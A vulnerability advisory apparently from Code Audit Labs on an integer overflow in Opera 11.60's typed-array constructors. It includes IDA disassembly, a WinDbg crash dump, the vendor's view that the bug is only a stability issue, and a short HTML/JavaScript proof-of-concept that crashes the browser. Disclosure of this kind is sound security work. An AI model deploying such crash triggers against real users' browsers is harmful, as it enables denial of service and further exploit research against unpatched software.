Opera 11.60 Array Integer Overflow

`CAL-2012-0004 opera array integer overflow  
  
  
1 Affected Products  
=================  
11.60 and prior  
  
  
2 Vulnerability Details  
=====================  
  
Code Audit Labs http://www.vulnhunt.com has discovered a integer   
overflow vulnerability in array functions like  
Int32Array,Int16Array... .  
  
Opear vendor say "We have reproduced the problem, and determined that it   
does not have any security implications, since the crash is a caused by   
a memory fill operation which the webpage have no control over, and this   
operation will always crash. It is therefore classified as a stability   
issue, not a security issue. "  
  
  
we still insist on that it is a security issue or not should accord to   
root cause of this bug instead of is it exploitable or not. because you   
think it is unexploitable, someone can exploit it via deeply research.  
  
So if most people of Security Community think this is a security issue,  
please assign to a CVE number.  
  
  
3 Analysis  
=========  
Int16Array(2147483647) example  
memory corrupt happen if satisfy with following Conditions  
1: x*2 >2  
2:x*2!=00  
3: (x*2-1)+0x1f overflow 32bits.  
  
so the length of malloc is (x*2-1)+0x1f  
memset(eax+0x10,0,x*2) cause memory corrupt  
  
  
text:5C769F57  
.text:5C769F57 loc_5C769F57: ; CODE XREF:   
sub_5C769DCE+17Cj  
.text:5C769F57 mov eax, [esp+48h+var_20] ; var_20 is 2  
.text:5C769F5B imul eax, [esp+48h+var_3C] ; var_3C is   
80000001  
.text:5C769F60 cmp eax, [esp+48h+var_3C]  
.text:5C769F64 jb short loc_5C769F37  
.text:5C769F66 mov [esp+48h+size], eax  
.text:5C769F6A mov eax, [ebp+arg_0]  
.text:5C769F6D call sub_5C14A6E8  
.text:5C769F72 push [esp+48h+size] ; size  
.text:5C769F76 push dword ptr [eax] ; int  
.text:5C769F78 push [ebp+arg_0] ; int  
.text:5C769F7B call sub_5C765B6D  
.text:5C769F80 add esp, 0Ch  
  
...  
  
.text:5C46A598  
.text:5C46A598 arg_0 = dword ptr 4  
.text:5C46A598 size = dword ptr 8  
.text:5C46A598  
.text:5C46A598 mov edx, [esp+arg_0]  
.text:5C46A59C push esi  
.text:5C46A59D mov esi, [esp+4+size]  
.text:5C46A5A1 test esi, esi  
.text:5C46A5A3 jz short loc_5C46A5AA  
.text:5C46A5A5 lea eax, [esi-1]  
.text:5C46A5A8 jmp short loc_5C46A5AC  
.text:5C46A5AA ;   
---------------------------------------------------------------------------  
.text:5C46A5AA  
.text:5C46A5AA loc_5C46A5AA: ; CODE XREF:   
sub_5C46A598+Bj  
.text:5C46A5AA xor eax, eax  
.text:5C46A5AC  
.text:5C46A5AC loc_5C46A5AC: ; CODE XREF:   
sub_5C46A598+10j  
.text:5C46A5AC mov ecx, [edx+8]  
.text:5C46A5AF add eax, 1Fh  
.text:5C46A5B2 push 0  
.text:5C46A5B4 and eax, 0FFFFFFF8h  
.text:5C46A5B7 push eax  
.text:5C46A5B8 push edx  
.text:5C46A5B9 call sub_5C019DA0  
  
ext:5C765BF7 loc_5C765BF7: ; CODE XREF:   
sub_5C765B6D+50j  
.text:5C765BF7 push [ebp+size] ; size  
.text:5C765BFA lea eax, [ebx+10h]  
.text:5C765BFD push 0 ; c  
.text:5C765BFF push eax ; dst  
.text:5C765C00 call memset  
  
  
  
  
4 Exploitable?  
============  
who known?  
  
  
5 Crash info:  
===============  
(d10.ff4): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=01fff21d ebx=00000000 ecx=0367ffb0 edx=00000076 esi=019c5ff8   
edi=03610e68  
eip=675b347e esp=02314de0 ebp=02314e24 iopl=0 nv up ei pl nz na   
pe cy  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000   
efl=00010207  
*** ERROR: Symbol file could not be found. Defaulted to export symbols   
for C:\Program Files\Opera\Opera.dll -  
Opera!OpGetNextUninstallFile+0x1961c:  
675b347e 660f7f4150 movdqa xmmword ptr [ecx+50h],xmm0   
ds:0023:03680000=????????????????????????????????  
0:000> .exr -1  
ExceptionAddress: 675b347e (Opera!OpGetNextUninstallFile+0x0001961c)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000001  
Parameter[1]: 03680000  
Attempt to write to address 03680000  
0:000> kp  
ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be   
wrong.  
02314e24 00000000 Opera!OpGetNextUninstallFile+0x1961c  
  
  
  
6 POC:  
====  
open a html with following content  
  
<script>  
//这些全是crash  
Int32Array(1073741823)  
Float32Array(1073741823)  
Float64Array(1073741823)  
Int32Array(1073741823)  
Uint32Array(1073741823)  
Int16Array(2147483647)  
ArrayBuffer(4294967295)  
</script>  
  
  
  
  
7 About Code Audit Labs:  
=====================  
Code Audit Labs secure your software,provide Professional include source  
code audit and binary code audit service.  
Code Audit Labs:" You create value for customer,We protect your value"  
http://www.VulnHunt.com  
`